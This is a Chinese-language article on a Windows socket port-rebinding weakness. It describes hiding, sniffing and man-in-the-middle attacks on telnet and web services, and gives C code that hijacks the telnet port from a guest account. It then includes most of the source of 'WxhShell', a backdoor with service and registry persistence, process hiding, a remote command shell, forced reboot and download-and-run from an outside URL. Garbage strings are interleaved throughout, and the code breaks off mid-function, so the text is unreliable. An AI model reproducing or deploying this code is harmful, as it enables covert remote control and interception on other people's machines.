在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5';/@M s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
B^8ZoF
LaIW,+ saddr.sin_family = AF_INET;
+ AcKB82 ?o(ZTlT saddr.sin_addr.s_addr = htonl(INADDR_ANY);
eD*?q7 _"?c9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
};|!Lhl+ b"ol\&1
#
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
r,`Z.A ShL1'Z}^{ 这意味着什么?意味着可以进行如下的攻击:
X[GIOPDx VZT6;1TD$8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
G*P[z'K= h.4qlx| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ysSjc qy7hkq.uX 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
fbh6Ls/ + >T7Q`64 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
f
pv= P JYZ2k=zh 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
I!|y;mh:it ntrY =Y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8Zcol$XS' =&di4'` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
(l\a '3a. }G>v]bV0V #include
]^iFqQe #include
|_l<JQvf`E #include
&ui:DZAxj| #include
jGO9n DWORD WINAPI ClientThread(LPVOID lpParam);
)LkM,T int main()
VqcBwJ!?p {
TqENaC#& WORD wVersionRequested;
;Ri 3#*a= DWORD ret;
~v.jZ/h WSADATA wsaData;
RpHpMtvNo/ BOOL val;
<MPeh&_3# SOCKADDR_IN saddr;
f|-
m ^/y SOCKADDR_IN scaddr;
,|e} Y
[ int err;
j4E H2v SOCKET s;
R(M}0JRm SOCKET sc;
IY];Ss&i int caddsize;
bin6i2b HANDLE mt;
R^jlEt\&P DWORD tid;
GwgFi@itN wVersionRequested = MAKEWORD( 2, 2 );
AkxH err = WSAStartup( wVersionRequested, &wsaData );
#=X)Jx~ if ( err != 0 ) {
f:_=5e
+ printf("error!WSAStartup failed!\n");
#^5a\XJb return -1;
:~\LOKf }
n?y'c^ saddr.sin_family = AF_INET;
^c/mj9M#C F{TC#J}I%' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
y<O@rD8iA Wr]O saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
l_^T&xq8 saddr.sin_port = htons(23);
Oamv9RyDvC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]WTf< W< {
]O6KKz printf("error!socket failed!\n");
x7vq?fP0n return -1;
J9g|#1G }
/yLzDCKn val = TRUE;
aXRv}WO$>k //SO_REUSEADDR选项就是可以实现端口重绑定的
_aVJ$N. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/)sDnJ1r {
*
eA{[ printf("error!setsockopt failed!\n");
zl0;84:H return -1;
t[%x}0FP-F }
zx
ct( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
q]F4Lq( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
EYA/CI //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
x$~3$E U'rr?,RML if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
A|2 <A
! {
IeO-O'^&` ret=GetLastError();
=Nw2;TkB[ printf("error!bind failed!\n");
9Tqo LX return -1;
#]?tY}~ }
^Y$QR] listen(s,2);
>NJjS8f5 while(1)
2K3MAd{ {
J
cP~-cp caddsize = sizeof(scaddr);
BTOA &Ag //接受连接请求
0Xp
nbB~~I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
uK"^*NEC'; if(sc!=INVALID_SOCKET)
- oU@D {
Hr(6TLNw mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
| @uq() if(mt==NULL)
D0f*eSXE{ {
Y
[4vRzc printf("Thread Creat Failed!\n");
:M@MmpPh break;
64?Pfir6 }
B,4q>KQA }
b2G2 cL-( CloseHandle(mt);
Kl2}o|b }
#>BX/O*D closesocket(s);
:lNg:r$4 WSACleanup();
X2i*iW< return 0;
PXa5g5! }
s\6N }[s DWORD WINAPI ClientThread(LPVOID lpParam)
+yGY785b {
p=2zS. SOCKET ss = (SOCKET)lpParam;
=D{B}=D\IM SOCKET sc;
Dh2#$[/@1 unsigned char buf[4096];
3Hs$]nQ_X SOCKADDR_IN saddr;
DUqJ y*F( long num;
w
nWgy4: DWORD val;
B#1:Y;Z DWORD ret;
" <qEXX //如果是隐藏端口应用的话,可以在此处加一些判断
b9`i Z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
o\&~CW~@~ saddr.sin_family = AF_INET;
`(3SfQ- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
q1STRYb saddr.sin_port = htons(23);
aQga3;S! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Og=[4?Kpk {
4e}{$s$Xx printf("error!socket failed!\n");
y">fN0{< return -1;
`n6/ A) }
Sobtz}A* val = 100;
5!tb$p#z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
10?qjjb& {
+yCTH ret = GetLastError();
mqdOu{kQ return -1;
>jv\Qh }
$.wA?`1aSk if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p+RAtR f {
>'N!dM.+9 ret = GetLastError();
_$8{;1$T? return -1;
8qN"3 Et }
V>B'+b+< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
V`by*s {
#XcU{5Qm5 printf("error!socket connect failed!\n");
-/zp&*0gcx closesocket(sc);
<>]1Y$^Y closesocket(ss);
pL! a return -1;
IJ0#iA. T }
7RD$=?o O' while(1)
RE 9nU%! {
MA$Xv`6I\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Gbn4*<N //如果是嗅探内容的话,可以再此处进行内容分析和记录
3524m#4&@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Qo.Uqz.C num = recv(ss,buf,4096,0);
vGMJ ^q if(num>0)
_PV*lK= send(sc,buf,num,0);
%MbyKz:X else if(num==0)
t-!m
vx9Z break;
pr$~8e=c num = recv(sc,buf,4096,0);
.A(i=!{q if(num>0)
|:N>8%@6c send(ss,buf,num,0);
e{0L%%2K else if(num==0)
x~EKGoz3 break;
Rjq a_hxrS }
%kq ^]S2O closesocket(ss);
yc[(lq.^n closesocket(sc);
8bt53ta return 0 ;
;T>+, }
9#Bx]wy ;gUXvx~~r 8 aZ$5^z ==========================================================
Pxqiv9D<R +}U2@03I 下边附上一个代码,,WXhSHELL
~,gLplpG0 ~r&D6Y ==========================================================
TY~Vi OC 5}XvL' #include "stdafx.h"
1q]&7R .TJ">? #include <stdio.h>
ddoFaQ8 #include <string.h>
(i]Z|@|) #include <windows.h>
1%jH^,t/m #include <winsock2.h>
DT\ym9 #include <winsvc.h>
v,jhE9_O0 #include <urlmon.h>
=U"dPLax U<[jT=L #pragma comment (lib, "Ws2_32.lib")
Oc~aW3*A( #pragma comment (lib, "urlmon.lib")
B6MkF"J< csDQva\ #define MAX_USER 100 // 最大客户端连接数
w12}Rn8 #define BUF_SOCK 200 // sock buffer
=!CU $g #define KEY_BUFF 255 // 输入 buffer
UOt8Q0)} '_0 #define REBOOT 0 // 重启
krjN7& #define SHUTDOWN 1 // 关机
@1g&Z}L
o SO3cY#i
z" #define DEF_PORT 5000 // 监听端口
kYlg4 .~M oRq3 pO}f #define REG_LEN 16 // 注册表键长度
CW-A e #define SVC_LEN 80 // NT服务名长度
_*E!gPO ^C7C$TZS // 从dll定义API
G6Nb{m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\ha-"Aqze3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)7Ixz1I9g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
A=X-;N# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)xt4Wk/ -zKxf@" // wxhshell配置信息
=X@o@1 struct WSCFG {
f-D>3qSS int ws_port; // 监听端口
=cn~BnowY char ws_passstr[REG_LEN]; // 口令
?Ht=[ l= int ws_autoins; // 安装标记, 1=yes 0=no
0x ~`5h char ws_regname[REG_LEN]; // 注册表键名
e:E# b~{ char ws_svcname[REG_LEN]; // 服务名
`WnQ char ws_svcdisp[SVC_LEN]; // 服务显示名
smup,RNZRX char ws_svcdesc[SVC_LEN]; // 服务描述信息
cDeZMsV char ws_passmsg[SVC_LEN]; // 密码输入提示信息
utH%y\NMF| int ws_downexe; // 下载执行标记, 1=yes 0=no
,E}$[mHyjz char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[l*;E
f, char ws_filenam[SVC_LEN]; // 下载后保存的文件名
"hPCQp`Tj <lj\#'G3 };
R ]P;sk5 si(cOCj/ // default Wxhshell configuration
($>XIb9f struct WSCFG wscfg={DEF_PORT,
[s}/nu~U "xuhuanlingzhe",
4pPI'd&/7 1,
e_rzA "Wxhshell",
!ni>\lZ "Wxhshell",
]JMl|e "WxhShell Service",
K5`Rk"s "Wrsky Windows CmdShell Service",
Jhy(x1% "Please Input Your Password: ",
10O$'` 1,
p3yU:q#A "
http://www.wrsky.com/wxhshell.exe",
;^ 3$kF "Wxhshell.exe"
; )llt
G };
+pp9d-n g_q<ze // 消息定义模块
cp%ii' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
;GOz>pg char *msg_ws_prompt="\n\r? for help\n\r#>";
|=5/Rax^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0+ `Pg char *msg_ws_ext="\n\rExit.";
hO( RZ'{ char *msg_ws_end="\n\rQuit.";
*||d\peQ char *msg_ws_boot="\n\rReboot...";
g_z/{1$ char *msg_ws_poff="\n\rShutdown...";
t&}6;z 3 char *msg_ws_down="\n\rSave to ";
A,#2 ^dR SaO3zz@L char *msg_ws_err="\n\rErr!";
.=<$S#x^Hb char *msg_ws_ok="\n\rOK!";
E FY@Y[ o8ppMM8_R[ char ExeFile[MAX_PATH];
H?Jm'\~ int nUser = 0;
CDdkoajBa HANDLE handles[MAX_USER];
Ik~1:D]f int OsIsNt;
Fn+?u op @iGC+ SERVICE_STATUS serviceStatus;
&leK}je [ SERVICE_STATUS_HANDLE hServiceStatusHandle;
,}J_:\j 50n}my'2h // 函数声明
z-,VnhLx int Install(void);
a$JLc a int Uninstall(void);
\ZH&LPAY int DownloadFile(char *sURL, SOCKET wsh);
qZ X/@Yxz int Boot(int flag);
GwLFL.Ke void HideProc(void);
o#D.9K( int GetOsVer(void);
GoE
'L int Wxhshell(SOCKET wsl);
yI)~]K
r void TalkWithClient(void *cs);
VKW|kU7Cs$ int CmdShell(SOCKET sock);
s>%Pd7: int StartFromService(void);
T):SGW int StartWxhshell(LPSTR lpCmdLine);
Uyx&E?SlEq ,t,wy37*D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
*b)Q5dw@1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
\40YGFO &.N$ // 数据结构和表定义
bx}fj#J]En SERVICE_TABLE_ENTRY DispatchTable[] =
p#@Z$gTH`' {
)/|6'L-2 {wscfg.ws_svcname, NTServiceMain},
shgAhx {NULL, NULL}
`xz&Scil };
yL1CZ_ q_t4OrLr= // 自我安装
?c#$dc" int Install(void)
,pt%)
c {
M+xdHBg char svExeFile[MAX_PATH];
R_kQPP HKEY key;
BfmsMW strcpy(svExeFile,ExeFile);
k6**u ;[$n=VX` // 如果是win9x系统,修改注册表设为自启动
)=^w3y if(!OsIsNt) {
`<fh+* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9|WV~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
HeA{3s RegCloseKey(key);
OB^Tq~i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;*cLG#&'M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{9 PR()_ RegCloseKey(key);
!;
v~^#M]~ return 0;
#"f'7'TE }
u8vuwbra! }
ZafboqsDL }
%0-wpuHc(] else {
MI#mAg< vqNsZ 8|` // 如果是NT以上系统,安装为系统服务
5#2F1NX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
hOk00az if (schSCManager!=0)
,mFsM!| {
csQfic SC_HANDLE schService = CreateService
yR71%]*. (
y,Q5;$w8 schSCManager,
[L~@uAMw: wscfg.ws_svcname,
K%j&/T j1 wscfg.ws_svcdisp,
:Vuf6, SERVICE_ALL_ACCESS,
& >JDPB?5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:k,Q,B.I SERVICE_AUTO_START,
7;}l\VXHm SERVICE_ERROR_NORMAL,
o>lmst%< svExeFile,
7^:4A' NULL,
;LwqTlJ*[L NULL,
Tpr tE.mP NULL,
l!~
mxUb NULL,
BavO\{J#|0 NULL
Sp SnoVI );
NgZUnh3{ if (schService!=0)
z1V#'$_5- {
v"Jgw;3 CloseServiceHandle(schService);
5OP`c< CloseServiceHandle(schSCManager);
lWZuXb,G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
.[s2zI strcat(svExeFile,wscfg.ws_svcname);
qE7R4>5xjO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
f4('gl9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^U q RegCloseKey(key);
oFC) return 0;
\5><3*\ }
8v92Ng7 }
&tI#T)SSs CloseServiceHandle(schSCManager);
k|E]YvnfG }
0ZI(/r }
RW7(r/C 7C,T&g
1: return 1;
@y|_d }
-X1X)0v$ /SR^C$h'I // 自我卸载
<,1fkq>, int Uninstall(void)
/Z%>ArAx {
!u;>Wyd W HKEY key;
i+vsp@d u<tk G B if(!OsIsNt) {
; y.E! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'cd N3i( RegDeleteValue(key,wscfg.ws_regname);
Iw=Sq8 RegCloseKey(key);
}nx=e#[g%2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I$q> RegDeleteValue(key,wscfg.ws_regname);
*OTS'W~t RegCloseKey(key);
S"2qJ!.u return 0;
+8P,s[0<R_ }
w
YNloU }
5,KWprb }
z(HaRB3l else {
~,gXaw 1yqoA* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;3ft1 if (schSCManager!=0)
/CX VLl8~ {
SW?p?< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
E
l&h;N if (schService!=0)
P`SnavQBt {
/!&R9!6
: if(DeleteService(schService)!=0) {
]]iPEm"@ CloseServiceHandle(schService);
WQePSU CloseServiceHandle(schSCManager);
}iN2KeLAF return 0;
9@VO+E$7L }
HK=[U9 o? CloseServiceHandle(schService);
NX6nQ }
' [0AHM CloseServiceHandle(schSCManager);
d]v+mVAyE }
/Wj,1WX~ }
m6n!rRQ^U i76 Yo5 return 1;
?pGkk=,KB }
3`V1XE.; O/Y)&VG7 // 从指定url下载文件
(M-ZQ
- int DownloadFile(char *sURL, SOCKET wsh)
H#d:kil Ny {
i8pU|VpA HRESULT hr;
{U11^w1"3 char seps[]= "/";
C? Zw6M+ char *token;
Sr.;GS5i char *file;
kJK,6mN char myURL[MAX_PATH];
2 YxT MT char myFILE[MAX_PATH];
f"5g>[1 +Ezgn/bS& strcpy(myURL,sURL);
JWO=!^ token=strtok(myURL,seps);
$.mQ7XDA9 while(token!=NULL)
]o/|na* {
<fO4{k*& file=token;
_%@=Uc6V token=strtok(NULL,seps);
x%>
e)L< }
90N`CXas TCVl8)j GetCurrentDirectory(MAX_PATH,myFILE);
E@)\Lc~ strcat(myFILE, "\\");
C*70;:b strcat(myFILE, file);
dKhA$f~ send(wsh,myFILE,strlen(myFILE),0);
C*6S@4k send(wsh,"...",3,0);
IO$z%r7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
b`mj_b if(hr==S_OK)
*JCQu0 return 0;
*wbZ;rfF else
8cg`7(a return 1;
j5
wRGn3 W 0[N0c }
Uu p(6`7 F
phDF // 系统电源模块
$a;]_ Y int Boot(int flag)
'Pltn{iq[ {
MQ/
A]EeL HANDLE hToken;
adEJk TOKEN_PRIVILEGES tkp;
D%/8{b: +SXIZ` if(OsIsNt) {
72db[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
n]!fO
6kj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
mryN} tkp.PrivilegeCount = 1;
$6>?; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
T)CzK<LbR AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
K`:=]Z8 if(flag==REBOOT) {
f6=w3RS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
D$eB ,~
return 0;
jdqj=Yc }
ctmQWrk|B else {
u62 )QJE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-#&kYK#Ph return 0;
,t$,idcT+ }
kUHE\L.Y] }
/FY2vDfU6 else {
KU&G;ni2 if(flag==REBOOT) {
_Tm0x>EM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$A\m>*@ return 0;
:K.4 n }
P1zK2sL_ else {
!E\[SjY@J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}qPhx6nP return 0;
'md0] R| }
1qdZc_x }
f>Td)s1
M uYO|5a<f~ return 1;
rjA@U<o }
e,1u W=}Okq)x9I // win9x进程隐藏模块
/!FWuRe^ void HideProc(void)
*=F(KZ {
B33$ u3d *tQk;'/A] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
WPuz]Ty if ( hKernel != NULL )
wNCCH55Pt {
/ci]}`'ws pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,%"xH4d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gz#4{iT~ FreeLibrary(hKernel);
5rxA<Gs }
*6ZCDm&N yf1CXldi return;
,lN5,zI=S }
/ l>.mK() =Ov7C[( // 获取操作系统版本
g;p)n int GetOsVer(void)
H3/caN: {
1cN')" OSVERSIONINFO winfo;
`vk0c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
7G2PMe;$m GetVersionEx(&winfo);
3SG?W_
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
*U7%|wd return 1;
$+=
<(* else
T8J4C=?/ return 0;
haSM=;uPM }
Z)<
wv&K !R{R?? // 客户端句柄模块
n[+'OU[ int Wxhshell(SOCKET wsl)
$ACx*e% {
"l~Ci7& !a SOCKET wsh;
|cbd6e{! struct sockaddr_in client;
]TpU"JD DWORD myID;
U\<-mXv T3J'fjY while(nUser<MAX_USER)
C9tb \?# {
&K%aw int nSize=sizeof(client);
SOh-,c\C wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
E$\~lcq if(wsh==INVALID_SOCKET) return 1;
!|{IVm/J mNmUUj9z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{aq9i if(handles[nUser]==0)
`$;+g , closesocket(wsh);
@uleyB else
3 x*z\VJ nUser++;
0~A#>R' }
|w&~g9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
uGtV}-t: H?rg5TI0 return 0;
L&2u[ml }
BNm4k7
]M 7ETjn)%bs // 关闭 socket
GuQRn void CloseIt(SOCKET wsh)
AHh#Fx+K {
a' FN 3 closesocket(wsh);
~hX-u8Ul'N nUser--;
,{}#8r` +* ExitThread(0);
/I{R23o }
E)p9eU[# >>'C
:7+Y // 客户端请求句柄
6F0(aGs void TalkWithClient(void *cs)
v"6 \=@ {
$xW**& V^fV7hw< SOCKET wsh=(SOCKET)cs;
:-+4:S char pwd[SVC_LEN];
NlPS# char cmd[KEY_BUFF];
2Oc$+St~8 char chr[1];
{ISE'GJj int i,j;
2ypIq laREjN/\` while (nUser < MAX_USER) {
(|h:h(C jZ9[=? if(wscfg.ws_passstr) {
}uO5q42 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]KK`5Dv|,e //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I."p //ZeroMemory(pwd,KEY_BUFF);
0{rx.C7| i=0;
h SV@TL while(i<SVC_LEN) {
W
Ox_y, QTJu7^O9 // 设置超时
JJk#,AP fd_set FdRead;
a:!uORQby struct timeval TimeOut;
pa/9F[ FD_ZERO(&FdRead);
#gZ|T
M/h FD_SET(wsh,&FdRead);
C3 ;[e0.1b TimeOut.tv_sec=8;
UZxmhsv TimeOut.tv_usec=0;
[~%`N*G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ocA]M=3~k if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
wT_^'i*@I o#hI5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
KX+ey8@[ pwd
=chr[0]; H#(<-)j0_
if(chr[0]==0xd || chr[0]==0xa) { "ED8z|]j
pwd=0; D guB
break; !q/5yEJ>h
}
M[P^]J@
i++; POd/+e9d
} M}FWBs'*|
05e>\}{0
// 如果是非法用户,关闭 socket Wr%7~y*K
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I48VNX
} :F(9"L
LJuW${Y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8C&x MA^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9C}qVoNu
lgD]{\O$ip
while(1) { 8I#D`yVKc
+<(a}6dt
ZeroMemory(cmd,KEY_BUFF); &^QPkX@p
^X?D#\
// 自动支持客户端 telnet标准 Ie_I7YJ
j=0; y?:dE.5p|
while(j<KEY_BUFF) { YMzBAf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /^<en(0=P
cmd[j]=chr[0]; !D:k!
if(chr[0]==0xa || chr[0]==0xd) { F@SG((`
cmd[j]=0; *@M3p}',M
break; %J P!{mqj
} Da,Tav%b
j++; 8 njuDl
} X#J6Umutm
\ lr/;-zP
// 下载文件 __\P`S_
if(strstr(cmd,"http://")) { h7W}OF_=y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); *o4%ul\3Y|
if(DownloadFile(cmd,wsh)) A~71i&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZgYZwc&-
else rz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &?<AwtNN
} _Z#eS/,O@
else { 8&(-8
fPQ|e"?
switch(cmd[0]) { F=Y S^
)/Y~6A9>
// 帮助 X>3^a'2,E
case '?': { UxqWnHH.`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q1V2pP+=@
break; /~hbOs/
L
} 7'.s7&
'7
// 安装 %C*^:\y
case 'i': { gGbI3^r#
if(Install()) }98-5'u.X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SMO*({/
else .ZX2^)`XD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Auac>')&Q
break; #93}E
Y
} 9k`~x1Y)
// 卸载 "$@,n7k
case 'r': { ^KH%mSX>
if(Uninstall()) 42@a(#z(U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fValSQc!U
else $
I<|-]u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #v/ry)2Y=
break; l>Av5g)
} K-@bwB7~s
// 显示 wxhshell 所在路径 M,..Kw/ }~
case 'p': { l2/@<0P
char svExeFile[MAX_PATH]; jgRCs.6
strcpy(svExeFile,"\n\r"); o;;,iHu*
strcat(svExeFile,ExeFile); (,tHL
send(wsh,svExeFile,strlen(svExeFile),0); chLeq
break; w%u5<
} Bz:0L1@,4a
// 重启 K%2I
case 'b': { NsmVd dj
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3+ asP&n
if(Boot(REBOOT)) {3 o%d:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H m8y]>$
else { I#c(J
closesocket(wsh); 4*8&[b
ExitThread(0); dq1TRFu
} j+0.=#{??
break; %UG/ak%z
} )E~mJln
// 关机 taV|YP$
case 'd': { ha>SZnKD{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <9N4"d!A
if(Boot(SHUTDOWN)) IUawdB5CB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,.7vBt6 p
else { !E0fGh
closesocket(wsh); MPG+B/P&
ExitThread(0); )52#:27F
} )@$
&FFIu
break; $i%HDt|
} m3"c (L`B
// 获取shell ,v_B)a_E
case 's': { E{oB2;P
CmdShell(wsh); swt\Ru6,
closesocket(wsh); 4k*qVOBa6R
ExitThread(0); k+txb?
break; E7LbSZ
} JD-Becz
// 退出 $QffrU'
case 'x': { '\'7yN'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >3$uu+p1F
CloseIt(wsh); !Sfe{/$w
break; &<t79d%{
} 3Tw%W0q
// 离开 ](n69XX_
case 'q': { Bxt_a.LthH
send(wsh,msg_ws_end,strlen(msg_ws_end),0); un&>
closesocket(wsh); dcP88!#5-
WSACleanup(); w= B
exit(1); cf&C|U
break; <G}m #
} vVdxi9yk
} o{g@Nk'f
} {[lx!QF 8&
C#T)@UxBZ
// 提示信息 .W-=x,`hY4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pKYLAt+^>
} BArJ"t*/z
} 3l+|&q[v
0@w&J9yG
return; =x oBC&u
}
HFv?s
Y`q!V=
// shell模块句柄 w&9F>`VET
int CmdShell(SOCKET sock) d(\ 1 }l
{ "d:.*2Z2
STARTUPINFO si; 7s!AHyZ
ZeroMemory(&si,sizeof(si)); ec#_olG%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c%b\CP\)W
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; du8!3I
PROCESS_INFORMATION ProcessInfo; Cl{{H]QngX
char cmdline[]="cmd"; Q>V?w gZ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VAt>ji7c
return 0; TftOYY.hQ
} i(z+a6^@|
iPz1eUj
// 自身启动模式 R'r|E_
int StartFromService(void) |<'10
{ C~:b* X
typedef struct 7Z
VVR*n|
{ [(!Q-8
DWORD ExitStatus; Zr5'TZ`$
DWORD PebBaseAddress; O${r^6Hh
DWORD AffinityMask; L2k;f]
DWORD BasePriority; Y'?Iznb
